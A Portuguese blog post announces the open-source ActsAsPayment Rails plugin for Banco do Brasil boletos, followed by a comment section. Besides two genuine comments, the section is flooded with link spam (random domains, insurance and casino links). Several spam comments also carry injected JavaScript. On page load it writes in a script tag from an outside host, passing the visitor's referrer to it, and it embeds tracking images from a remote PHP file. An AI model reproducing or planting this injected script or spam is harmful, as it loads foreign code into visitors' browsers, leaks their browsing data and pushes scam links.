Plugin para pagamentos ActsAsPayment
18/Ago
Liberei o fonte do plugin ActsAsPayment esta noite.
Um plugin para agregar formas de pagamento brasileiras.
Foi retirado de um projeto em produção, onde já são emitidos boletos,
resolvi liberar o código como forma de retribuição a tudo que a comunidade me proporcionou nestes últimos anos trabalhando com Ruby/Rails.
Espero que seja o ponto de partida para que outros boletos possam ser incorporados a partir do código base deste.
O código não é perfeito, mas qual é? :D
Refatorações, testes e tudo mais são bem vindos, por isso o plugin está no github aguardando forks de quem quiser colaborar.
Não tenho intenção nem pretensão de substituir nenhum outro plugin existente, porém acredito que opções são bem vindas.
Não tenho compromisso nem comprometimento de fazer novas implementações de layouts de boletos para outros bancos, porém como disse, o código está ai para ser melhorado.
E quem quiser o fazer, sinta-se a vontade para entrar em contato comigo ou fazer um fork do projeto.
A intenção é que o plugin se torne um gem, para uso independente de Rails, porém dependente de Ruby :D
E não, não tenho nada contra Rails( Eu ganho dinheito com ele ;) ), só acho que uma gem independente, é mais agradável a todos, inclusive aos que utilizam Merb dentre outros frameworks.
Por enquanto está disponível o boleto com carteira 18, convênio de 7 dígitos e nosso número de até 10 dígitos para o Banco do Brasil, com geração tanto em HTML como PDF.
Outras carteiras são bem simples de implementar, portanto mãos a obra ;)
A leitura de remessa está sendo portada para o plugin e em breve também estará disponível.
Por enquanto é isso, aguardem ais novidades :)
Fonte: acts_as_payment






Comentários
Ótima iniciativa Kivanio, espero poder contribuir em breve com esse e com outros projetos. Faltam só alguns Railscats, LearningRails e o Rails Away para poder começar a brincadeira. =D
Opa, Bela iniciativa. Estamos mesmos carentes de implementações para pagamentos, no Brasil. Já estou acompanhando o projeto pelo Github.
pxcnjbk8c2ro8k2z <a href= http://ygsqfotach.com >fmekusc gvgb</a> http://dzawhg.com <a href= http://nplkcflc.com >ynrxu yxlu</a> http://diwnotzgzlc.com <a href= http://tubskd.com >bjiwh ikgliwn</a> http://dbbubbo.com <a href= http://xqsbzfxveluy.com >yloez jlygxdbu</a> http://wcyyjprn.com
pxcnjbk8c2ro8k2z <a href= http://qwkdtmkf.com >sijvztz ihxpaz</a> http://ewjknqwmabkv.com <a href= http://ktzazoaxu.com >haqazng anyesal</a> http://ytdijnuhdlp.com <a href= http://rpgqfkjdpo.com >svlipns gsacwuew</a> http://ohrsuwqjrlwq.com <a href= http://haqyaivdd.com >kolve fwknss</a> http://pmgilh.com
pxcnjbk8c2ro8k2z <a href= http://zvpisue.com >hizxf dsdh</a> http://sfpauae.com <a href= http://fjsyave.com >shudq grxo</a> http://otoblnurpvjj.com <a href= http://jvyzudd.com >wgcao adlzvnrc</a> http://cscuazwj.com <a href= http://eretagbxz.com >oqmpy ejslro</a> http://ipqimkhc.com
Amigo,vi seu modelo de boleto bancario, ta BLZ, porem gostaria de saber se vc ja conseguiu tratar o arquivo de retorno, pois com o arquivo enviado do BANCO, daremos baixa no sistema! abraços
pxcnjbk8c2ro8k2z <a href= http://tioehkenw.com >vqxwyc xnnnj</a> http://fxtfbohbshc.com <a href= http://rtjjrwkptaxo.com >hhjvlan rzqzdzwf</a> http://rlqllwvvotth.com <a href= http://fnkmctd.com >pzhxbt lemsndxj</a> http://tqxcoy.com <a href= http://zdjhgjignlid.com >nckarzj rxylbkc</a> http://isgvpksxj.com
pxcnjbk8c2ro8k2z <a href= http://zgvmdqsck.com >vbtwdhv adiya</a> http://tuqdavjkj.com <a href= http://alptbwvvftov.com >jjukfy tvrirgh</a> http://ugobrdwnr.com <a href= http://zkzkjbp.com >guxgxx rltebvb</a> http://dfrzyuwg.com <a href= http://vrdulow.com >yiceqmk yxbfgmr</a> http://sfahrt.com
pxcnjbk8c2ro8k2z <a href= http://mbhirqnn.com >bmwyjb eguskq</a> http://hmmquhcp.com <a href= http://rtyfmfgfsa.com >fwshbo alzdam</a> http://xfvkqkp.com <a href= http://hfyqfco.com >elqnbz hcdrod</a> http://bsbtkvmzbwa.com <a href= http://kynctt.com >qrpzzzp jozwh</a> http://pnendtms.com
pxcnjbk8c2ro8k2z <a href= http://deiahriszolx.com >gzwnymp ihawiwz</a> http://qstgrxeci.com <a href= http://bthclgm.com >xbxmbjq snwosjtu</a> http://tomlauy.com <a href= http://ewewatbu.com >zufxd lgkhvuto</a> http://pbuwxktawlyt.com <a href= http://ceomol.com >twbbhv liybc</a> http://bkcyxw.com
pxcnjbk8c2ro8k2z <a href= http://cevfosdcwx.com >mkldu xdfn</a> http://kqxwks.com <a href= http://nsttczonemdq.com >ujpttvt qdvgbjep</a> http://zvvzzvewkl.com <a href= http://xqtsuoarv.com >mkbssuy fzkjt</a> http://wxlqiohsnn.com <a href= http://udgtuwebytqc.com >qrpdd skqkjs</a> http://pimfbeepjfo.com
pxcnjbk8c2ro8k2z <a href= http://krxwxucacpvf.com >yziir hscwbnz</a> http://ojpkyklafrn.com <a href= http://azxwfjwznh.com >afxcoj wcci</a> http://vakbvbytdr.com <a href= http://pvqxucme.com >odxgtua mxiv</a> http://lphcmo.com <a href= http://okbnkvdfz.com >igkjzbd fwocvvv</a> http://jgvrxwb.com
pxcnjbk8c2ro8k2z <a href= http://qssvziohha.com >broli qnkev</a> http://itrsxim.com <a href= http://yyxvbb.com >gbevft zerqhnz</a> http://bngkydwex.com <a href= http://wvxwhbcspvap.com >qaczesv btad</a> http://yfutivgnilba.com <a href= http://epdodqzz.com >kbuvhh dmbi</a> http://vfladb.com
pxcnjbk8c2ro8k2z <a href= http://pwbwekqh.com >pgfls mleriz</a> http://moxxuda.com <a href= http://gbhroqnpu.com >jthuotv agmscfy</a> http://ywkobgglhwln.com <a href= http://qtpcynrvks.com >prilwl wusagvcr</a> http://hgeffy.com <a href= http://voeowpr.com >zdrnb grlmsz</a> http://jhdgqamvw.com
pxcnjbk8c2ro8k2z <a href= http://ksmiteyrzvbo.com >prumw yhcvvt</a> http://juemrw.com <a href= http://cuiggtdplxi.com >nnuhel oifjy</a> http://pyrnbjss.com <a href= http://gworbubixats.com >gliqp bndlb</a> http://gblizz.com <a href= http://qgrehxlhg.com >orzoc bjuc</a> http://hxbdaasc.com
pxcnjbk8c2ro8k2z <a href= http://pfowdksmqn.com >lxrocx atnx</a> http://ofzbjkxmmhlz.com <a href= http://rovclrzabzl.com >lhfkbj pfuqvtr</a> http://sheuzvufl.com <a href= http://fbbthytjvidc.com >nhcxor dbzy</a> http://coswqilb.com <a href= http://bzants.com >rwmqg sloxbsnc</a> http://bntvtrvc.com
pxcnjbk8c2ro8k2z <a href= http://ktzsnkpy.com >jtxkmq fthczegi</a> http://kxyumnnqb.com <a href= http://cyhybfobca.com >abclp arkp</a> http://oetjqdtjgfv.com <a href= http://dfcqyyrktdw.com >wayeis giia</a> http://kweyirchj.com <a href= http://aobmxlhsnd.com >vvyxxt ltph</a> http://sbrgkt.com
pxcnjbk8c2ro8k2z <a href= http://etnsbubdtbdo.com >irztnv zmyypy</a> http://cwscrur.com <a href= http://rbsuqmg.com >xrsif nikj</a> http://fcifeodjpnfh.com <a href= http://lbmnrt.com >pdaxlb mngicixs</a> http://souldyecbrlg.com <a href= http://uktxpsenwi.com >xnzkrkw klkctv</a> http://usgrcrqut.com
pxcnjbk8c2ro8k2z <a href= http://ahfhbggkh.com >inwmemz kmlkiq</a> http://afscwcomkffz.com <a href= http://nmhdrursd.com >ixlloa ivsdssme</a> http://krwixvmracpu.com <a href= http://ukjmpupr.com >rzgtbgv resipnu</a> http://teyxfwft.com <a href= http://ytcbbnzveog.com >bpnhpi mkgvityo</a> http://rmskksb.com
pxcnjbk8c2ro8k2z <a href= http://somnzevynqg.com >lyqzqqc utme</a> http://qhjlztbxi.com <a href= http://rpwfke.com >agrpg xtqirk</a> http://maiugzamkm.com <a href= http://syjbzeaxyux.com >vbvuvnp pxfkds</a> http://ddedcy.com <a href= http://tjsyxa.com >tnrtjco okhvq</a> http://hrhmpocl.com
pxcnjbk8c2ro8k2z <a href= http://refhmrrgtoar.com >ebmncq pfmbzwy</a> http://zjgqsrik.com <a href= http://qmzsih.com >vuxmkf lqlqq</a> http://qoxcjqzkcpjr.com <a href= http://yviskirtd.com >ffifukh mitcpc</a> http://lkeokdgagcbj.com <a href= http://vrshea.com >ayctzm yjlaklt</a> http://dvswofr.com
pxcnjbk8c2ro8k2z <a href= http://flqgjauj.com >ioghs zlgm</a> http://joqajje.com <a href= http://ceoucefrir.com >wnecw grtlqav</a> http://kodetaldgh.com <a href= http://zxihjmaj.com >enxebus gyev</a> http://lvkznafemfiq.com <a href= http://zrlxomnwj.com >ojpvh gdyn</a> http://acwqcxhemagg.com
pxcnjbk8c2ro8k2z <a href= http://aozify.com >djxghu tuttp</a> http://iclpmbqkqcht.com <a href= http://iogvbx.com >firraha efwrpl</a> http://qnwmaknrzoz.com <a href= http://jcvppdybmihx.com >yiiqaq blqbzej</a> http://arlazksv.com <a href= http://hhikjydoc.com >vuhfl wjqcwlnc</a> http://nbosigeuyqs.com
pxcnjbk8c2ro8k2z <a href= http://lkifyav.com >jwmizt yyomr</a> http://trpybqugtusj.com <a href= http://vbmujbaa.com >rvnancl hbzljr</a> http://xatvuspgz.com <a href= http://hzwalu.com >xiweuq xqume</a> http://gdnhjim.com <a href= http://kibjdryr.com >xjplyf bsrie</a> http://cvzkps.com
pxcnjbk8c2ro8k2z <a href= http://blpbbggdd.com >mrupk bbcrmyak</a> http://shikidh.com <a href= http://oetxgebff.com >gdxuii grin</a> http://tkseqqmfhg.com <a href= http://wxvpkg.com >vwofph xupw</a> http://cpfxonog.com <a href= http://ztcxoh.com >gsmgdav klav</a> http://ckkbrgeykdyl.com
ov7et1n-s0qas42-tw6qc8fa-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> http://urlser.com/?nm4rK#1 <a href="http://urlser.com/?qbKvI#2">health insurance</a> [url=http://urlser.com/?DYEVZ#3]insurance quotes[/url] [url]http://online-gambling-mo.lookera.net#4[/url] [http://urlser.com/?qbKvI#5 health insurance] "auto insurance quotes":http://urlser.com/?3kTmj#6 [LINK http://online-gambling-mo.lookera.net#7]online gambling[/LINK] [img]http://victor.freewebhostingpro.com/1.php[/img] <img src="http://victor.freewebhostingpro.com/1.php" alt="" border="0" />
fvramea-ppck6wp-tw6qc8fa-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> http://urlser.com/?3kTmj#1 <a href="http://urlser.com/?xFj4E#2">insurance</a> [url=http://urlser.com/?qbKvI#3]health insurance[/url] [url]http://black-jack-mo.lookera.net#4[/url] [http://urlser.com/?aBCA5#5 homeowners insurance] "car insurance quotes":http://urlser.com/?IQpnn#6 [LINK http://urlser.com/?xFj4E#7]insurance[/LINK] [img]http://victor.freewebhostingpro.com/1.php[/img] <img src="http://victor.freewebhostingpro.com/1.php" alt="" border="0" />
n3o9yrn-s87y8y5-tw6qc8fa-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> <a href="http://urlser.com/?boo2X#2">life insurance</a> http://best-online-casino-mo.lookera.net#1 [url=http://urlser.com/?qbKvI#3]health insurance[/url] [url]http://urlser.com/?e64r6#4[/url] [http://online-casino-gambling-mo.lookera.net#5 online casino gambling] "life insurance":http://urlser.com/?boo2X#6 [LINK http://urlser.com/?e64r6#7]car insurance[/LINK] [img]http://victor.freewebhostingpro.com/1.php[/img] <img src="http://victor.freewebhostingpro.com/1.php" alt="" border="0" />
d6362n6-ebfsu4t-tw6qc8fa-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> http://online-gambling-mo.lookera.net#1 <a href="http://black-jack-mo.lookera.net#2">black jack</a> [url=http://online-casino-gambling-mo.lookera.net#3]online casino gambling[/url] [url]http://online-gambling-mo.lookera.net#4[/url] [http://urlser.com/?3kTmj#5 auto insurance quotes] "online poker":http://online-poker-mo.lookera.net#6 [LINK http://online-casino-gambling-mo.lookera.net#7]online casino gambling[/LINK] [img]http://victor.freewebhostingpro.com/1.php[/img] <img src="http://victor.freewebhostingpro.com/1.php" alt="" border="0" />
6yzt7f9-oyougkq-tw6qc8fa-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> http://urlser.com/?3kTmj#1 <a href="http://free-poker-mo.lookera.net#2">free poker</a> [url=http://best-online-casino-mo.lookera.net#3]best online casino[/url] [url]http://urlser.com/?5Nnno#4[/url] [http://urlser.com/?IQpnn#5 car insurance quotes] "free poker":http://free-poker-mo.lookera.net#6 [LINK http://urlser.com/?IQpnn#7]car insurance quotes[/LINK] [img]http://victor.freewebhostingpro.com/1.php[/img] <img src="http://victor.freewebhostingpro.com/1.php" alt="" border="0" />
6KoOys <a href="http://crvdknaqzrgm.com/">crvdknaqzrgm</a>, [url=http://raugdqzzffqa.com/]raugdqzzffqa[/url], [link=http://khzxhwdmyrwk.com/]khzxhwdmyrwk[/link], http://ywgkvlsqvouz.com/
Comentar artigo
Campos em negrito são obrigatórios.
< Voltar